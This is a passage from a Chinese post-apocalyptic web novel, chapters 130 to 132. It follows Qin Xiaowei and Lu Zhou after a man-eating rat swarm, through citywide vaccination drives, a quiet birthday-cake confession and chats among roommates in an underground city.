他们之前也没碰到过这么凶猛的老鼠，心里也有点害怕，见秦小薇贡献出了自己的酒精湿巾，便接过来，对着伤口狠狠擦拭起来。 伤口碰到了酒精，几人都疼得龇牙咧嘴，但他们嘴上没一个人喊疼，有人看不到自己的伤口，便让同伴帮忙，还让他们下手重一点…… 陆昼很快就收起了手机，他看向几个没受伤的警察，开口道：“方哥，你找个袋子，帮我把水里老鼠的尸体捞起来，我要送去实验室化验……” 在场的众人都知道他的职位，听到他这么说，众人顿时紧张起来。 “陆部长，这老鼠……” 陆昼：“先干活！一会儿会有直升机过来接我们，一切都等回地下城再说！” 他的语气十分镇定，让众人的心也跟着安定下来。 众人找了袋子，开始捞水面上漂着的老鼠尸体…… 第130章 第130章蛋糕（双更合一）…… 处理伤口的时候,几个伤员稍微放松了一些，也有心思关心别的事了。 “小秦，你这枪不错,自己改的吗？”一个警察忽然问道。 秦小薇有些僵硬地点点头：“是、是啊！” 忘了！这东西在地下城属于管制武器,在一群警察面前用射钉枪,她这不是茅房里打灯笼——找屎（死）吗？ 她看了眼陆昼，陆昼的枪已经收回枪套里了,他蹲在船边,和另外两个没受伤的警察一起专心打捞老鼠尸体。 他应该听到他们的对话了，但他没有回头,也没有插话，看到他的态度，秦小薇稍微放松了一些。 “这枪管这么长,你之前放哪的？” 秦小薇：“呃……这里可以拆,这样一扭，就分成两半了，刚好可以放包里。” “你这包里可真是装了不少东西,难怪看着鼓鼓囊囊的！” 秦小薇：“我这是大容量的登山包，我就是看它容量大才买的……” “能给我看看吗？”站在秦小薇身边的一个中年警察问道。 秦小薇犹豫了一下,才把射钉枪递了过去。 “后坐力不大,改得还挺不错的！”那位警察接过射钉枪之后，把玩了一会儿，又对着水面放了一枪,就把射钉枪递给了下一个人，“张哥，你看看……” 秦小薇一直盯着，见射钉枪在他们手里转了一圈后回到了自己手上,才松了口气。 见她似乎有点紧张，边上一位警察哈哈笑了起来：“小秦，别紧张！我们这趟是出来找尸体的……” 言下之意，别的事他们可以睁一只眼闭一只眼。 闻言，秦小薇松了口气，连忙把射钉枪收进背包里。 地下城那边的动作非常快，几人还没处理好伤口，两架直升机就出现在众人的头顶了。 几个受伤的警察里面，有个伤得特别严重，腮帮子被老鼠啃掉了好几块肉，半边脸都快毁容了，要不是他当时反应快，那老鼠还得往他的衣领里钻。 那他可就得脱了衣服才能把老鼠抓出来…… 附近都是水，直升机不好降落，便降低高度，放悬停云梯下来。 “王哥，你伤得最严重，你先上去！”陆昼安排道。 队伍里的人纷纷看向受伤最严重的王哥：“老王，你能行吗？手还使得上力气吗？爬得上去吗？” 王哥：“我手又没受伤，怎么不行？” 说着，他就顶着脸上还没处理好的伤口，爬上了绳梯。 几名伤员爬上去之后，众人让秦小薇先上去，秦小薇摆了摆手，拒绝道：“你们先上，我这还没弄好呢！” 她说的是朔月，它爬不了这么陡的梯子，秦小薇只能把它绑在身后，带着它上去。 等固定好了狗，她反手摸了下朔月的脑袋：“朔月，我们上去了，别害怕！” 朔月“汪呜”了一声，似乎是在回应她。 悬停云梯上的台阶是圆的，非常不好着力，梯子还晃得很厉害，让她有种下一秒就会掉下去的错觉，秦小薇适应了一会，才调整好姿势，继续往上爬。 她上去的时候，直升机里的医生正在用液体反复冲淋伤员的伤口。 处理伤口的时候，医生还不忘叮嘱伤患注意事项：“……之后一个月，都要监测体温，要是出现了发热、尿血，立刻来医院。” 后面几个人，上来的时候，还不忘带上船上的东西，陆昼让其他人先上直升机，他和拉布拉多垫后。 直升机的速度很快，不过几分钟，他们就到了地下城。 因为陆昼是重生的，他早就知道会爆发鼠灾，因此低温还没结束的时候，地下城就开始生产针对鼠疫的常用疫苗了，现在有不少存货，除了能供给宁市的地下城，还能供给Q省的其他城市…… 之前在直升机上，医生就替他们处理好了伤口，但下了飞机之后，众人依旧被医生赶去了医院打疫苗。 听到要打疫苗，众人都松了口气——那群老鼠看着真的很不对劲，陆昼的态度又这么谨慎，要是不给他们打疫苗，他们今天回去估计要失眠了！ 打了疫苗，他们反而能安下心来，等伤口愈合。 陆昼径直走到秦小薇身边：“走吧！我们带香肠和朔月去找老唐！” 之前他们被老鼠群围攻的时候，拉布拉多和德牧也咬死了好几只老鼠，那群老鼠的状态太奇怪，秦小薇担心朔月咬了“脏东西”会生病，便点头同意了。 两人坐电梯回了地下城。 电梯里只有他们两人两狗，两人都没有说话，气氛一时有些沉默。 “抱歉。”陆昼忽然开口打破沉默。 “什么？”秦小薇满脑子都是那些老鼠攻击充气船的画面，她抬起头，有些茫然地看着他。 陆昼：“如果我昨天早上没来找你，你也不会遇到这种事……” 秦小薇双手环胸，她看着他点点头，煞有介事地开口道：“你确实挺坑的，说好去市区，结果却把我带去了鸟不拉屎的腊梅县……” 见他皱着眉，她话锋一转，继续说道：“所以，为了补偿我，公寓楼那几套房子，你可得帮忙！” 看着她的眼眸，陆昼的喉咙里溢出一声笑：“好。” 电梯里的气氛骤然变得轻松起来，两只狗蹲坐在地上，并不知道发生了什么。 富人区有医院，别墅区没再设置“诊所”，陆昼他们小区里的住户都搬过来之后，唐医生就不用去上班了，只偶尔给秦小薇空间里的动物看看病，动个小手术什么的，俨然有沦为兽医的架势…… 因为工资照发，再加上还能啃老，唐医生也不焦虑，甚至开发出别的爱好，搞了台3D打印机，自己设计打印，天天在家里玩拼图，日子倒也过得有滋有味。 他没住别墅区，而是和家人住在富人区一套两室一厅里，房子的面积和他们之前住的小区没法比，但居住环境也能吊打地下城的大部分普通人。 陆昼敲门之后，唐爸爸就把他们迎了进去，知道他们的来意之后，唐医生、唐爷爷和唐奶奶帮着检查了一下两只狗——他们家五口人，有三个都是医生，除了唐医生学了西医，唐爷爷和唐奶奶都是兽医。 当兽医是个体力活，他们年纪大了，这才退了下来。 “没吃下去，应该没什么事，不用催吐洗胃，带回去多观察观察，24小时内要是没症状就不用管……” 让医生给两只狗做了个体检，陆昼和秦小薇才牵着狗离开。 刚出门，陆昼就接了个电话：“嗯，我知道了……好，我现在过来……” 陆昼把手上的狗绳递给秦小薇：“有个紧急会议，要讨论那些老鼠的事，你帮我把香肠带回去吧！我今天可能得忙到很晚……” 秦小薇之前听他说过，在他的记忆中，鼠群是升温后两个多月才出现的。 现在升温才刚一周，外面的雪都还没化完，那些老鼠就成群结队地出现了，地下城的布局估计都被打乱了，陆昼这个预警中心的部长要加班也很正常…… 事关地下城几百万居民的安全，秦小薇毫不犹豫地点头：“行，我帮你把香肠送回家！” 回到别墅区后，秦小薇按了对面别墅的门铃，开门的是他家的保镖，秦小薇把狗绳递了过去，和保镖说了拉布拉多之前咬过老鼠，让他注意观察它的状态，有问题随时找医生…… 到家后，秦小薇进浴室洗了澡，她把出门穿的衣服扔进洗衣机里，倒入洗衣液和消毒液，然后选了时间最长的“浸泡洗”模式。 收拾完自己，她开始收拾狗子，刷牙、洗澡、吹毛…… 洗澡和吹毛朔月都挺配合的，但它不喜欢刷牙，秦小薇给它刷牙的时候，它一直在挣扎，狗脸上写满了不高兴。 好在她力气大，也有经验，单手就能按住它，最后强行帮朔月把牙给刷了。 德牧从烘狗箱里出来，已经是两个小时之后的事了。 折腾了这么一通，秦小薇早上吃的那几块面包早就消化完了，她觉得有点饿，便去厨房找了个漂亮的碟子，打算给自己搞个水果拼盘填填肚子。 见朔月一直蹭她的腿要吃的，秦小薇便往它的狗碗里放了几块水果。 就在秦小薇窝在沙发上享用水果拼盘的时候，宿舍群里忽然跳出了几条消息。 【段霞：我回地下城了。】 【段霞：今天放假，咱们几个聚聚？】 【范槿：我还有两张工单没完成，正在和琳琳跑地图……】 【范槿：阿霞，你怎么从外面回来了？你也受伤了？】 【段霞：没有，上面忽然下了命令，让所有人都撤回来。】 【段霞：你没看群？】 【肖琳琳：怎么把人都撤回来了？外面出什么事了？】 【段霞 ：说是有个小队出任务的时候，被一群老鼠围攻了，那些老鼠吃人，队伍里好几个人都毁容了。】 【段霞：据说老鼠尸体上检测出了17种传染病的病毒。】 【段霞：上面让我们回来更新一下装备，把疫苗打了再继续出门。】 【肖琳琳：老鼠吃人？阿霞你说的还是中文吗？】 【范槿：我以为人吃人就已经够惊悚的了，没想到，现在老鼠也开始吃人了……】 【范槿：那些老鼠从哪来的？咱们宁市应该没有这么可怕的老鼠吧？我在地下城待了这么久，就只见到过蟑螂……】 【段霞：不知道，目前还没消息。】 【段霞：你们约不约？打了疫苗之后要忌口，很多东西都不能吃……】 【范槿：我想约，但是我手上还有两张工单没完成QAQ】 【肖琳琳：我也想约，但是饭饭绑架了我，让我当她的右手TAT】 【秦小薇：我也想约，但是饭饭和琳琳好像没空。】 【段霞：你们三个……】 段霞在群里说她今天放假，但她和范槿下午就被抓去进行防鼠培训了，因此，这顿饭，她们最终还是没约成。 除此之外，市政和社区的工作人员也忙碌了起来，他们开始在地下城各处投放加了鼠药的毒饵洞。 之前鼠药刚生产出来的时候，陆昼就给秦小薇送了一大箱，后面又补送了一箱，但她担心老鼠药有毒，朔月会误食，一直不敢用。 不过家里的角角落落，都被她物理加固过了，老鼠应该进不来…… 一转眼，时间又过了三天。 外面的积水还没完全消失，但水位已经降得很低了，段霞她们现在外出执勤，可以用底盘高一些的车代替充气船和双腿。 除此之外，上面还给他们更新了装备，除了击剑用的全包裹式面罩，他们每个人还分到了一件细密铁丝网“织”成的衣服，整套装备，可以把他们裹得严严实实。 有这套装备在，他们就算遇到了老鼠，也能在鼠群里杀个七进七出。 唯一的问题就是，这套衣服是全金属的，所以很重，穿上之后，有点影响他们的日常活动，要是追铺敌人什么的，那是百分之百追不上。 因此，很多人拿到衣服和面罩之后，都只放在车里备用，并不会一直穿身上。 这几天，陆昼似乎特别忙，秦小薇都没看到他的人影，给他发消息也要等很久才能收到回复，拉布拉多也是他家其他人帮忙遛的…… 因为有两个室友在巡逻队工作，秦小薇的消息来源还算丰富。 他们现在外出执勤的时候，不仅要在地图上标记没被搬走的尸体，还要标记出现过老鼠的位置，因为样本很多，众人暂时得出结论，老鼠是从隔壁的秋市跑过来的。 这些老鼠，暂时只聚集在宁市西边几个县城和小乡镇，那边并没有住人，动植物也在长达两年的极寒天气中冻死，十分荒凉。 但老鼠长了腿，要是没有食物，它们肯定会大面积迁徙，迁徙到地下城和市区，也是早晚的事…… 因为地下城各处投放了不少毒饵洞，地下城的普通居民也知道了外面有老鼠的事，但那些老鼠还没过来，他们对老鼠的印象依旧停留在“怕人”“多下几个笼子就能抓住”…… 所以大家并没有什么危机感，照旧按部就班地过着自己的生活。 这几天，业主群里一直在讨论房子的事，秦小薇、奚川还有之前几个组织买电梯的住户，在群里被@的次数直线上升，奚川一直没回应，另外几人倒是挺积极的。 秦小薇也只偶尔敷衍几句。 公寓楼塞得人太多，真要是想把房子要回来，还得找社区和市政帮忙。 那些人和他们这些常住地下城，“遵纪守法”的市民可不一样，地面乱得很，他们要是没点手腕，这两年根本就活不下来，真要是把人赶出来，让他们风餐露宿，他们说不定会拿着武器和他们拼命…… 因为外面可以开车了，秦小薇还开车回了趟公寓楼，担心那边太乱，她直接把射钉枪放在外面。 就像之前王焦说的那样，公寓楼里住的人看着都不像好人，光是他们看人的视线，就让人觉得很不舒服，像是在看什么猎物似的…… 秦小薇原本是想上楼看看的，但因为那些人的视线，她最终还是没上楼，她开着车在公寓楼附近转了好几圈，大致了解了这边的情况。 公寓楼和附近的商场、Q大都住着难民，而安全屋，几乎全塌了，里面空空荡荡的，看着十分破败。 今天是个大晴天，很多人都从屋里出来了，经历过漫长的冬季后，他们似乎格外珍惜现在能晒到太阳的日子，很多人都蹲在路边晒太阳。 秦小薇观察了一下，路上大多是年轻男人，几乎看不到女人、老人和孩子的身影…… 有几人见她是个女的，就想过来拦车，秦小薇没停车，直接撞了过去，有个人没躲开，直接被撞飞了。 路边有很多人，看到这一幕，他们甚至没有围过来看热闹，依旧蹲在原地晒太阳，只有部分胆子小的，开始往屋里跑，对于这样的事，他们似乎早就习以为常。 看到那个飞出去的人影，秦小薇忍不住握紧了方向盘……但她依旧没停车，而是踩下油门离开了这里，把身后那群人的谩骂留在风里。 至于被撞的那个人……这要是在地下城，秦小薇肯定会积极地联系医院赔医药费，争取私了，免得把自己送去了监狱。 但众所周知，现在的宁市，地面和地上是两个世界，地上属于“三不管地带”，她就算埋一个炸|弹把这条街炸了，也不会有人抓她。 到家的时候，秦小薇给陆昼发了条消息。 【秦小薇：你上周说要预订我今天下午6点到9点的时间，我下午没什么事，你要提前过来吗？】 陆昼那边可能在忙，她直到下午三点多才收到他的消息。 【陆昼：我五点过来找你。】 【秦小薇：好。】 因为陆昼要来找她，傍晚，秦小薇提前下班，牵着狗回了家。 她在家里等到了五点半，陆昼才来敲门，知道他最近工作很忙，秦小薇也就没计较他迟到的事。 陆昼并不是空手来的，他手上还提着个木制的盒子，进门后，他直接把盒子放到了茶几上：“我今天想在你家蹭个饭，不介意吧？” 秦小薇以为他想边吃饭边说事，便点头答应了。 她从仓库里拿了几份提前做好的熟食出来，招呼陆昼坐下，但很奇怪，他并没有说什么正事，吃饭的时候，一直在和秦小薇闲聊。 健身房的奇葩客人，早上朔月挑食，把秋葵剩了下来……他们就像是两个好朋友，聚在一起吃了顿普普通通的晚饭。 吃完饭之后，陆昼把那个木制的盒子提到餐桌上，他打开盒子，从里面端出了一个有些简陋的水果蛋糕。 陆昼：“时间太匆忙，做得有点丑……” 屋里就两人一狗，今天不是她的生日，也不是朔月的生日，这个生日蛋糕是给谁准备的，不言而喻。 他的家人朋友都在，他最近这么忙，还专门抽出时间找她吃饭、吃蛋糕……大家都是成年人，他什么意思，秦小薇心知肚明。 陆昼：“介意我点根蜡烛吗？” 秦小薇的脑子还有点懵，下意识点头。 他似乎一点都不在意她的心不在焉，点完蜡烛之后，他又闭上眼睛许了个愿。 陆昼：“吃蛋糕了。” 秦小薇：“陆昼，你……” 陆昼打断了她：“你要什么水果？” 秦小薇低头看了眼桌上的蛋糕：“随、随便。” 因为忽然出现的生日蛋糕，后半段，饭桌上的气氛变得有些奇怪，陆昼依旧在找话题聊天，但秦小薇却没了回应的心思，只“嗯嗯啊啊”地敷衍了几句。 蛋糕并不大，按照他俩的饭量，就算吃过了晚饭，也能吃得下，吃完蛋糕后，陆昼收拾了桌上的盒子，就准备离开， 走之前，他忽然问秦小薇：“今天是我的生日，你不祝我生日快乐吗？” 秦小薇：“……生日快乐。” 他桃花眼里带着笑，看上去心情似乎很好。 陆昼：“希望明年能收到你送的生日礼物。” 秦小薇：“……” 陆昼离开后，秦小薇捡起朔月扔在玄关处的抱枕，按在墙上，猛地锤了几下。 啊啊啊啊！现在这种状态不是挺好的吗？陆昼为什么忽然来这一出？ 锤完了抱枕，秦小薇又找了副拳击手套，去空间里发泄了一通。 但是，因为她晚饭吃撑了，运动完之后，她反而开始觉得胃不舒服。 秦小薇：“……” 吞了一片健胃消食片之后，秦小薇撸了会小黄，又教它说了几句话，心情才勉强变好一些。 出空间后，她的手机连着“叮”了好几声，是寝室群的消息。 【段霞：我终于知道，为什么上面要给我们发那套铁衣服了……】 【段霞：[图片][图片]】 【范槿：啊啊啊啊啊好可怕！我以后出去，一定要把那套装备焊在身上！】 【肖琳琳：果然……上面干什么都是有理由的！】 【肖琳琳：你们说，我们车队要不要也搞一套装备？】【你现在阅读的是 】 130-140 第131章 第131章准备（双更合一）…… 秦小薇点开段霞发的照片看了看,照片有些糊，但依旧能分辨出，那是几个被一群老鼠糊了一身的人。 通过照片中人形物体的动作变化和他们周围鲜红的血迹,可以看出,他们都还活着,还在挣扎，只是老鼠的数量太多了,他们的挣扎似乎没什么用,只能被老鼠活生生咬死…… 那几人身上老鼠的数量太多了，大的小的都有,只看一眼，就能让人浑身起鸡皮疙瘩。 【秦小薇：阿霞，这照片在哪拍的？阿霞,你们外出巡逻的时候,碰到老鼠群了？】 【段霞：不是，我在系统里看到的，秋市那边的照片。】 【段霞：我们小队暂时还没碰到过老鼠。】 【段霞：我要是碰到了这种事,跑都来不及，哪还有心思拍照？】 宁市那些奇怪的老鼠,都是从秋市来的,所以那边的鼠灾比宁市严重很多。 秋市和宁市同属Q省，又离得很近，所以消息传播得也很快,要是有认识的亲戚朋友住在秋市，一个电话打过去，就能打听到不少消息。 这些老鼠，虽然是从秋市来的,但它们并不是原本就存在于秋市的，而是从其他地方跑去秋市的。 秋市的执勤人员没有应对经验，被打了个措手不及，也很正常。 秦小薇之前听段霞说过，现在，秋市算是他们宁市的一道屏障，只要把鼠灾拦在秋市，宁市大概率不会被鼠灾影响。 为了帮他们，宁市还支援了不少物资过去……但看秋市现在的情况，想办到这一点应该很难。 秋市之前也爆发过食物危机，但管理者始终没能解决这个问题，因此秋市几座地下城比南湖区和江安区还要混乱，每天都有人因为各种各样的原因死去。 听说经历了两年多的极寒天气后，那边的人口已经锐减了四分之一。 【肖琳琳：阿霞，你们那套装备是在哪个厂子买的？你能帮我打听一下吗？我想给队员们弄几套。】 【秦小薇：我知道，琳琳，买装备的事交给我。】 【秦小薇：你统计一下大家的尺码，之后发给我。】 那些装备是官方专门找工厂定制的，而厂长，刚好就是隔壁双胞胎的爸妈。 虽然，目前那些装备只专供给宁市官方，但以他们的关系，她提点东西上门，想买也很简单…… 【肖琳琳：OK！】 【肖琳琳：那这事我就不操心了！】 又和室友们简单聊了几句，秦小薇就关上了手机。 之后几天，陆昼依旧很忙，秦小薇一连几天都没看到他的人影，不过他的短信却一直没停，也不是什么重要的内容，聊的也就是早安晚安和一些琐碎的日常。 秦小薇之前也经常和他发短信，有时候还是她主动发的，但吃过那个蛋糕之后，再和他聊天，她总觉得怪怪的…… 可能是上面的注意力现在都放在预防鼠灾上面，虽然宁市的尸体已经全被集中焚烧了，但上面却没着手管理地面上的难民。 巡逻队的成员，每天依旧要带着武器外出巡逻，但他们的主要目的，是找老鼠、杀老鼠。 至于地面上那些难民，地下城依旧实施三不管的政策。 公寓楼依旧被难民们占着，公寓楼有些房主很着急，部分房主还纠集了一群人，上门去要房子。 但有些人是竖着进去，横着出来的。 楼里那些难民知道他们是来要房子的之后，说了没几句，就开始提刀砍人。 房主们的人数原本就不占优势，再加上他们被地下城保护得太好了，这两年，基本上没有打架斗殴的机会，打架自然也不行…… 后面，还是有人通过自己的人脉联系了附近的巡逻队，巡逻队的人带着枪过来了，房主们才保住了一条命。 至于动手的难民……巡逻队外出的任务是找鼠灭鼠，那些难民并不是他们的任务对象，并没有人管闲事，给自己增加工作量。 几天后的某个清晨，秦小薇还没睡醒，就被外面大喇叭的声音吵醒了，她打开窗户听了听大喇叭的内容，原来是有医疗车来别墅区了。 医疗车是来给大家打疫苗的，这次的疫苗接种有点麻烦，可能是因为老鼠身上携带的病毒种类太多了，他们要接种好几支疫苗，为了防止药物相互作用疫苗失效，还得分好几天接种…… 医疗车来得太早了，现在才刚六点，很多人都还没起来，秦小薇去阳台上看了看，并没有多少人去医疗车那边排队打疫苗。 秦小薇打了个哈欠，回去抱着狗睡了半个小时的回笼觉，才下楼吃早饭。 这边打疫苗可能要收费，她还是去公租房那边打免费的疫苗吧！ 她刚把早饭拿出来，门铃就被人按响了，是陆昼。 想到了陆昼这几天给她发的那些没营养的短信，她原本是不想理他的，但他很有耐心，似乎是笃定屋里有人，一直在门口等着，隔一会儿就按一下门铃。 秦小薇：“……” 她只能过去开门。 陆昼上半身穿着件浅灰色的衬衣，他的袖口不知道沾了什么，有一片明显的污渍。也不知道他是刚下班，没来得及回家换衣服，还是早上起来穿了昨天的脏衣服。 秦小薇：“你来干什么？” 陆昼笑道：“某人一直不回我的消息，我来看看你是失踪了还是昏迷了。” 秦小薇下意识反驳：“你昨天中午发的消息，我不是回了吗？” 陆昼：“就回了个句号，我还以为是朔月偷了你的手机按的。” 秦小薇：“……” 陆昼：“吃早饭了吗？” 秦小薇：“正准备吃。” 陆昼：“那让我蹭个饭，吃完饭找你有事。” 听到他后半句话，秦小薇收回了打算拦他的胳膊，后退了一步，主动放他进屋。 陆昼非常自然地走进屋里：“你早上吃什么？” 秦小薇：“牛奶、麻辣花卷、芝麻烧饼……你要和我说什么？” 陆昼：“吃完饭再说，花卷辣不辣？” 秦小薇：“微辣，应该还行？” 两个烧饼下肚，陆昼忽然问她：“朔月最近状态怎么样？” 秦小薇看了眼正在埋头干饭的朔月：“挺好的！挺有精神的，能吃能喝、能跑能跳……怎么了？” 陆昼：“王哥昨晚忽然发烧、抽搐……医院那边说是感染了老鼠身上的病毒。” 他们几个当初一起去腊梅县，遇到鼠群的时候，就属王哥受伤最严重，腮帮子都快被咬烂了。 秦小薇手上的动作顿住：“王哥不是打过疫苗了吗？” 秦小薇记得，当时在直升机上，医生给他处理伤口的时候非常细致，光是冲洗伤口，就冲了十来分钟，还用镊子把伤口扒开，用注射器对着伤口冲洗，把王哥疼得脖子上的青筋都快爆出来了……她光是看着，都替他觉得疼。 事后，医生还让他们去医院打了疫苗，没想到，都这样了，王哥还能被感染。 这病毒也太厉害了！ 陆昼解释道：“他是受伤之后才打疫苗的，效果没那么好。” 秦小薇关心道：“那王哥现在怎么样了？” 陆昼：“医生用了药，我过来的时候，还没清醒过来……你这个月多关注一下朔月，有不对就去找老唐。” 陆昼这一番话，让秦小薇没了吃早饭的兴致，不过他自己胃口倒是挺好的，一口气吃了四个花卷三个烧饼一瓶牛奶……看上去像是饿了很久。 吃完早饭之后，秦小薇看向陆昼：“现在能说了吧？你来找我干什么？” 陆昼：“家里的肉菜吃完了，过来找你拿一点……” 秦小薇很无语：“……这么点事，你搞得这么神神秘秘的？” 陆昼一点都没隐藏自己的小心思：“我要是早说了，还能和你一起吃早饭吗？” 他在“和你一起”上面加了重音。 这家伙真是演都不演了！ 秦小薇故意曲解他的意思：“你缺这几个花卷烧饼？” 陆昼看着她，桃花眼里全是笑，他大大方方承认道：“缺。” 秦小薇：“……” 秦小薇被他看得不自在，她别开脸不看他：“算了，进空间里收拾物资吧！” 收拾完物资后，他们一起出了门，出门的时候，秦小薇发现，医疗车边上已经有人在排队打疫苗了。 她用胳膊肘捅了下陆昼：“你说，我要不要花点钱，提前把疫苗打了？” 她上网查过，老鼠身上的病毒可比上次的流感病毒厉害多了。 上次的流感，就算不吃药，身体好一些的普通人也能扛过去，但这次不一样，那些老鼠身上携带的病毒，随便一种，就能要人命…… 陆昼：“这次不收钱，是免费的，你现在就可以过去打。” 秦小薇有些惊讶：“免费的？” 陆昼：“嗯，除了别墅区，公租房那边也安排了医疗车，我们想赶在老鼠跑过来之前，完成全民防疫。” 秦小薇更惊讶了：“动作这么快？” 陆昼：“上次的流感病毒吃过一次亏了，同样的坑，总不能再踩第二次！况且，我们现在也有条件完成全民接种……” 低温还没结束的时候，地下城就开始生产针对鼠疫的各种疫苗，储备十分充足。高层原本就打算全民接种，现在不过是因为鼠群提前出现，把计划提前了而已。 秦小薇想了想：“趁着现在人不多，咱们先过去打个疫苗？你上午忙不忙？赶时间吗？” 陆昼摇头：“最近不忙，刚好我也没打疫苗，一起吧！” 狗都没时间遛了，秦小薇对他嘴里的“不忙”深表怀疑，但也没拆穿他，默默站到了队伍的最后面。 半个小时后，秦小薇的左右胳膊都挨了一针，但这还不算完，她明后天还得过来再打一针。 打完了疫苗，两人一起出了地下城，低温已经结束十来天了，今天外面的最高温25℃，积雪已经化得差不多了，路上的人也越来越多。 他们开了半个多小时，才找到一个没人的地方，让秦小薇把空间里的物资转移到他们开出来的卡车里。 秦小薇：“外面温度比地下城高好多！这温度升得好快……后面不会又出现极端高温天气吧？” 陆昼摇头：“不会，最多有点热，但是会下雨，地里能种出东西……” 路过某处的时候，秦小薇看到一群人，正对着一堆被压塌的安全屋敲敲打打，看他们的动作，她猜测，他们应该是想把安全屋修好，然后搬到地面上住。 因为升温了，他们拆安全屋的动作可比她当初熟练多了，几个人拿着工具三两下就能拆下来一面墙。 秦小薇指着一间已经修好的安全屋问陆昼：“地面这么多安全屋，你们打算怎么处理？” 陆昼：“尽量修吧！到时候应该会挪一部分去地下城的出入口附近，改成商铺，让大家做生意……” 虽然由于低温的限制，这两年，大家都被困在地下城。 但官方手握药品生产线，还有车队源源不断地为地下城“输血”，因此，红浦区的情况其实比低温刚开始的时候好很多。 很多人也有开店赚钱的需求，但因为地下城寸土寸金，分不出那么多地方发展商业，市民们都只能在同城APP上下单、接单。 如果能把这些安全屋修一修，挪到地下城的正上方，确实能解决不少人的问题…… 秦小薇掰着手指头算了算，不由得开口道：“那你们接下来的事还真多，打疫苗、预防老鼠、处理地面上的难民、开荒种地、发展商业……” 陆昼：“还好，我们部门需要参与的，也就前两项。” 虽说只需要参与前两项，但地下城几百万人，秦小薇知道，这也是个大工程。 陆昼把物资送回家之后，就又出门了，秦小薇则换了电动车，带着朔月一起去健身房上班。 有上次打疫苗的经历在，秦小薇以为，商业街那边会被打疫苗的人围得水泄不通，她要费一番功夫才能到健身房，但出乎她的意料，医疗车附近虽然也有人排队打疫苗，但人并不多。 秦小薇有些奇怪，到健身房后，见店里有几人闲着，忍不住和她们聊起了外面的医疗车。 秦小薇：“你们打疫苗了吗？” 江明月：“还没，我还在哺乳期，我问了，医生说我不能打……” 周文：“我打了……前几天琳琳她们来的时候，一直在说外面闹老鼠的事，听着特别吓人！我早上一听到外面的大喇叭，套了个外套就下去打疫苗了。” 何玥：“我也打了！” 秦小薇：“我看其他人好像不怎么积极……外面都没什么人排队。” 江明月：“可能是觉得没用吧！” 秦小薇很惊讶：“没用？” 江明月：“那疫苗打过之后，不仅 要忌口，还可能会有副作用，路上放了那么多老鼠药，平时咱们连一只耗子都看不到，要不是听琳琳她们说了那些老鼠有多可怕，我根本不会考虑打疫苗的事……” 疫苗的副作用并不严重，只会让人有一些轻微的不适，而且发生副作用的概率也很低。但地下城现在几乎看不到老鼠，大家不愿意打疫苗似乎也很正常。 何玥：“我应该会打，毕竟是免费的……” 上午，秦小薇一直待在健身房招待客人，十一点半的时候，肖琳琳来了健身房，找秦小薇约饭。 秦小薇：“琳琳，看你这样子，是刚睡醒就过来了？” 肖琳琳打了个哈欠：“昨天看了一夜片，天亮才睡，困死我了……” 秦小薇差点被自己的口水呛到：“琳琳，你看了一夜什么？” 肖琳琳：“看了一夜电影，我在同城APP上买的……你还真别说，有些老电影拍得还挺有味道的！” 秦小薇有些尴尬：“我还以为……” 肖琳琳哈哈笑了起来：“那种片剧情都很无聊，真要是看一夜，我会直接看睡着的……” 秦小薇：“……” 肖琳琳：“饭饭怎么还没来？我肚子饿死了！” 地面上的尸体都处理完了，警察全都撤了回来，只留了巡逻队在外面巡逻，范槿也不用再带伤接工单了，她现在可以正常休病假，这两天，时常和她们约饭。 秦小薇：“我们约的十二点，还有半个小时呢！” 半个小时后，她们等到了范槿，不过，她不是一个人来的，身边还跟着一个陌生男人。 秦小薇：“饭饭，这位是？” 范槿凑到两人身边，小声开口道：“我妈安排的相亲对象……我们说好了，他进店拍两张照片应付家长，假装和我一起吃了中饭……拍完照片就走。” 四人一起进了隔壁的铁板烧店，进店后，范槿和她带来的年轻男人先找了张双人桌，坐下“咔咔咔”连拍好几张照片。 等男人离开了，范槿才走到秦小薇和肖琳琳所在的四人桌坐下。 秦小薇冲着她竖起大拇指：“饭饭，你应付阿姨越来越熟练了！” 范槿：“没办法，被我妈逼的！” 肖琳琳：“你这么玩，阿姨不会发现吧？” 范槿摆了摆手：“不会，那男的有女朋友了，他也不想来相亲，他和我一样，也是被家里逼着来的……” 秦小薇：“啊？有女朋友还来相亲？” 范槿：“他家里不同意，嫌弃她女朋友离婚还带个孩子，又没工作……不说这个了，琳琳，你们车队到底什么时候出发啊？” 肖琳琳：“我打听了一下，说是因为外面闹鼠灾，要推迟一段时间……而且现在天热了，大家也能从地底出来了，路上估计不会像之前那么太平，可能会遇到劫道的，我看军队那边的意思，是要多做一些准备再出发。” 范槿叹了口气：“我妈在家里闲着没事，天天晚上和我爸念叨着给我安排相亲的事，我都快烦死了……我觉得我不是在家里养伤，而是在家里坐牢。” 说着，她烦躁地抓了抓头发。 肖琳琳在这事上，和她十分有共鸣，她也跟着叹了口气：“上次车队路过我老家，我回去看了一眼我哥和我爸妈，他们也催着我结婚……还说我过两年年纪大了，就不好找了！我才毕业几年啊？就说我年纪大了！” 范槿：“阿霞她爸妈好像也在催，她妈还说让她找个当官的，以后能帮到家里……唉，咱们1206四个人，好像就薇薇没有这种烦恼？薇薇，我真羡慕你！” 秦小薇想到了陆昼，没有接话。 三人正聊着天，手机忽然“叮”了几声，秦小薇打开手机看了看，是预警中心发来的短信。 短信上说未来地下城可能会闹鼠灾，提醒市民们做好防范、及时接种疫苗，短信里还科普了，哪些人群不适合接种疫苗、接种疫苗的注意事项、被老鼠咬了要怎么处理、被老鼠爬过的餐具该怎么消毒…… 短信很长，秦小薇还没看完短信，店里就有人冲了出去：“服务员，我出去打个疫苗！别收我的碗筷，我还没吃完，我马上就回来！” “我也去！我的菜照常上！” “……” 秦小薇朝外面看了看，现在是中午饭点，医疗车那边，原本是没人排队的，医务人员都在啃能量饼干。 但收到预警短信不到五分钟，医疗车前面的队伍就从街尾排到了街头，医务人员也不得不放下自己的中饭，开始干活…… 范槿和肖琳琳看得目瞪口呆。 范槿：“预警中心的号召力好强啊！外面的大喇叭从早上六点喊到现在，都没什么人排队，预警短信一发出来，人就全冲过去了……” 肖琳琳：“那必须的！人家发的短信，到现在都没出过错，而且他们每次一发短信，不照着做，后面肯定要后悔到拍断腿……” 秦小薇：“对了，琳琳，护具我已经拿到了，明天我送到你家里去，你给队里其他人分了。” 肖琳琳：“好。” 范槿三人都知道那些老鼠的可怕，一大早就打了疫苗，因此也不像其他人那么着急，她们看了会儿热闹，见菜上上来了，就转移了话题，开始吃饭。 第132章 第132章秋市（双更合一）…… 吃完了饭,范槿两人也没有回家，而是留在健身房的办公室里闲聊。 